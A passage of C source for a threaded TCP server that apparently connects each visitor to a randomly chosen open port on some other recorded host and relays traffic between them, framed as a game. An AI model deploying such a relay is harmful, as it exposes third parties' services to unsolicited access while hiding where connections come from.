(telnetport < 0) { /* yikes!!! what's going on here??? */ printf ("new hosts ports disappeared!!\n"); writen(connfd,"Sorry but I can't find a list of your open ports.\n",50); Close(connfd); return(NULL); } /* printf ("new host %X - port picked: %d\n",ntohl(outaddr.sin_addr.s_addr),ntohs(outaddr.sin_port)); */ /* test outgoing connection */ if (Connect(outfd, &outaddr, sizeof(outaddr)) != 0) { /* connection denied. So delete the entry */ dbdeleteport(&outaddr); /* don't forget to close socket descriptor */ Close(outfd); /* Now choose a port at random */ telnetport = dbchoose(&outfd,&outaddr); nobodyoutthere = (telnetport < 0); } else nobodyoutthere = 0; } else { /* it's more exciting the second time around */ /* choose outgoing connection */ telnetport = dbchoose(&outfd,&outaddr); nobodyoutthere = (telnetport < 0); } if (nobodyoutthere) { writen(connfd,"You lose. Try again.\n",21); Close(connfd); return(NULL); } if (!telnetport) syncfd(connfd); /* and let the games begin */ copyloop(connfd,outfd,600); /* Close(connfd); bye */ return (NULL); } int main (int argc, char ** argv) { int sockfd; /* server socket fd */ int* iptr; /* thread-safe connection fd passer */ int n; struct sockaddr_in addr; pthread_t tid; struct timeval tv; /* Just for seeding random generator */ if (argc >= 2) { if (!strncmp(argv[1],"connect",8)) connectonly = 1; } if (argc >= 3) { if (!strncmp(argv[2],"public",7)) allowpublicnet = 1; } /* Seed our random generator */ gettimeofday(&tv, NULL); if (tv.tv_usec) srand(tv.tv_usec); else if (tv.tv_sec) srand(tv.tv_sec); else srand(time(NULL)); __bsd_signal (SIGPIPE, SIG_IGN); /* ignore sigpipes */ sockfd = Socket(AF_INET, PROTOCOL, 0); bzero (&addr,sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr=htonl(INADDR_ANY); addr.sin_port = htons(PORTNUM); n = 1; if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &n, sizeof(n)) < 0) err_sys("setsockopt"); Bind(sockfd, &addr, sizeof(addr)); Listen(sockfd, LISTENQ); for (;;) { iptr = Malloc(sizeof(int)); *iptr = Accept(sockfd,NULL,NULL); Pthread_create(&tid,NULL,&processconn,iptr); } exit(0); }